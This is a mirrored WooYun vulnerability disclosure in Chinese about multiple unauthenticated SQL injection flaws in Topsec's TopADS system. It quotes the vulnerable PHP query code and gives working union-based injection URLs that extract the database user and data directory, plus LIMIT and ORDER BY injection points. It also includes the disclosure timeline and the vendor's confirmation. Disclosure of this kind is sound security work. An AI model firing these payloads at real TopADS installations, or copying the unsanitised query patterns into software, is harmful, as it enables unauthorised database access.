天融信TopADS系统数多处SQL注入漏洞(无需登录)

admin 2017年4月21日23:27:41评论550 views字数 209阅读0分41秒阅读模式
摘要

2016-03-01: 细节已通知厂商并且等待厂商处理中
2016-03-01: 厂商已经确认,细节仅向厂商公开
2016-03-04: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-04-25: 细节向核心白帽子及相关领域专家公开
2016-05-05: 细节向普通白帽子公开
2016-05-15: 细节向实习白帽子公开
2016-05-30: 细节向公众公开

漏洞概要 关注数(24) 关注此漏洞

缺陷编号: WooYun-2016-179753

漏洞标题: 天融信TopADS系统数多处SQL注入漏洞(无需登录) 天融信TopADS系统数多处SQL注入漏洞(无需登录)

相关厂商: 天融信

漏洞作者: 老虎皮

提交时间: 2016-03-01 11:43

公开时间: 2016-05-30 14:10

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

3人收藏


漏洞详情

披露状态:

2016-03-01: 细节已通知厂商并且等待厂商处理中
2016-03-01: 厂商已经确认,细节仅向厂商公开
2016-03-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-25: 细节向核心白帽子及相关领域专家公开
2016-05-05: 细节向普通白帽子公开
2016-05-15: 细节向实习白帽子公开
2016-05-30: 细节向公众公开

简要描述:

厂商不给20分,我就一直挖下去,来个专辑

详细说明:

接上一枚漏洞:

http://**.**.**.**/bugs/wooyun-2016-0178904

天融信TopADS系统数多处SQL注入漏洞(无需登录)

入口文件:Ngtos.class.php

code 区域
public function run() {
$module = trim($_REQUEST['module']) ? trim($_REQUEST['module']) : 'login';
$action = trim($_REQUEST['action']) ? trim($_REQUEST['action']) : '';
if ($module == 'home' || $module == 'main' || $module == 'login' || $module == 'logout' || $module == 'password') {
$action = $module;
$module = 'page_frame';
}
if ($offset = @strpos($module, '_')) {
$folder = substr($module, 0, $offset);
$file = substr($module, $offset + 1);
$filename = ROOTPATH . '/modules/' . $folder . '/' . $file . '.mds.php';
if (!file_exists($filename)) {
$filename = ROOTPATH . '/modules/' . $folder . '/' . $file . '.php';
}
} else {
$filename = ROOTPATH . '/modules/' . $module . '.mds.php';
if (!file_exists($filename)) {
$filename = ROOTPATH . '/modules/' . $module . '.php';
}
}
if (!file_exists($filename)) {
die('Not Found');
}
require_once $filename;
}

在ads/policy.mds.php中

code 区域
switch ($_GET['sub_act']) {
case 'show':
$sql = "select templet_name from standard_templet where templet_name != '".urldecode($_GET['t_name'])."'";
$data = $db->select($sql);
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
break;
case 'import':
$param_copy['name'] = urldecode($_GET['tmp_name']);
$param_copy['copy-from'] = urldecode($_GET['src']);
$rspString = getResponse($module_name, "add", $param_copy, 2);
if (is_string($rspString)) {
$retError = showError($rspString);
echo $retError;
exit();
}
break;

这里的$_GET['t_name'] 参数经过解码进入SQL

所以我们这里可以直接带入单引号(url编码)然后解码就是单引号了

所以我们**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=1 其中t_name为参数

我们演示如下:

**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+user%28%29--+a

天融信TopADS系统数多处SQL注入漏洞(无需登录)

**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+@@datadir--+a

天融信TopADS系统数多处SQL注入漏洞(无需登录)

在第二处 ads/ads_policy_template.mds.php

code 区域
<?php
$module_name = 'ddos template';
$action = $_GET['action'];
$param = [];
switch ($action) {
case 'show_database_policy_template':
$db = ads_database('TopADS');
$sql = "select * from standard_templet";
$data = $db->select($sql);
$total_num = count($data);
if (!isSet($_POST['page'])) {
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
return;
}
$start = ($_POST['page']-1)*$_POST['group'];
$sql = "select * from standard_templet order by id asc limit ".$start.", ".$_POST['group'];
$data = $db->select($sql);
$cur_num = count($data);
if ($data == NULL) {
echo '{"group":[], "page":{"page":"1","count":"0","total":"0"}}';
} else {
if ($total_num == null) {
$total_num = 0;
}
$pagenation = array("page" => $_POST["page"], "count" => $cur_num, "total" => $total_num);
$array_data = array("group" => $data, "page" => $pagenation);
$json_data = json_encode($array_data);
echo $json_data;
}
break;
default:
# code...
break;
code 区域
$sql = "select * from standard_templet order by id asc limit ".$start.", ".$_POST['group'];

limit注入

第三处:ads/ads_menace_monitor_sql.php

code 区域
if ($post_submit_action != NULL) {
$db = ads_database();
$action = explode("_", $post_submit_action);
if ($action[1] == "showatklog") {
$sql_where = make_where($_POST);
$sql = "SELECT * FROM atk_log WHERE $sql_where AND atk_state = 'begin' ORDER BY ".$_POST["sort"]." ".$_POST["order"]." LIMIT ".(($_POST["page"]-1)*$_POST["group"]).",".$_POST["group"];
$sql_count = "SELECT count(*) as count FROM atk_log WHERE $sql_where AND atk_state = 'begin'";
$count = $db->select($sql_count);
if ($count[0]['count'] == null)
{
$count[0]['count'] = 0;
}
code 区域
$sql = "SELECT * FROM atk_log WHERE $sql_where AND atk_state = 'begin' ORDER BY ".$_POST["sort"]." ".$_POST["order"]." LIMIT ".(($_POST["page"]-1)*$_POST["group"]).",".$_POST["group"];

无过滤,order by 注入

ads/ads_db_operate.php

code 区域
if ($post_submit_action == "db_templet_show")
{
$sql = "select * from standard_templet";
$data = $db->select($sql);
$total_num = count($data);
if (!isSet($_POST['page']))
{
$array_data = array("group" => $data);
$json_data = json_encode($array_data);
echo $json_data;
return;
}

$start = ($_POST['page']-1)*$_POST['group'];
$sql = "select * from standard_templet order by templet_type asc limit ".$start.", ".$_POST['group'];
$data = $db->select($sql);
$cur_num = count($data);
if($data == NULL)
{
echo '{"group":[], "page":{"page":"1","count":"0","total":"0"}}';
}

我们演示如下:

**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+user%28%29--+a

天融信TopADS系统数多处SQL注入漏洞(无需登录)

**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+@@datadir--+a

天融信TopADS系统数多处SQL注入漏洞(无需登录)

漏洞证明:

我们演示如下:

**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+user%28%29--+a

天融信TopADS系统数多处SQL注入漏洞(无需登录)

**.**.**.**/index.php?module=ads_policy&action=database&sub_act=show&t_name=111%27+union+select+@@datadir--+a

天融信TopADS系统数多处SQL注入漏洞(无需登录)

修复方案:

版权声明:转载请注明来源 老虎皮@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-01 14:04

厂商回复:

已确认,谢谢提交

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-01 11:46 | zeracker 天融信TopADS系统数多处SQL注入漏洞(无需登录) ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

    1

    20分.....

  2. 2016-03-01 13:03 | YY-2012 ( 核心白帽子 | Rank:3893 漏洞数:737 | 意淫,是《红楼梦》原创的词汇,但后来演变...)

    1

    一分

  3. 2016-03-01 13:17 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    2

    6666

  4. 2016-03-01 14:11 | 独臂刀王 ( 普通白帽子 | Rank:393 漏洞数:103 | 提交一个漏洞就可以买个柚子~~好爽~)

    2

    这么算,还得挖4个阿

  5. 2016-03-01 14:37 | 天融信(乌云厂商)

    4

    @老虎皮,给您发了私信,请查收。

  6. 2016-05-30 14:22 | Dotaer ( 路人 | Rank:28 漏洞数:8 | 多学习,多挖洞!)

    0

    @老虎皮,私信里有啥好东西?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin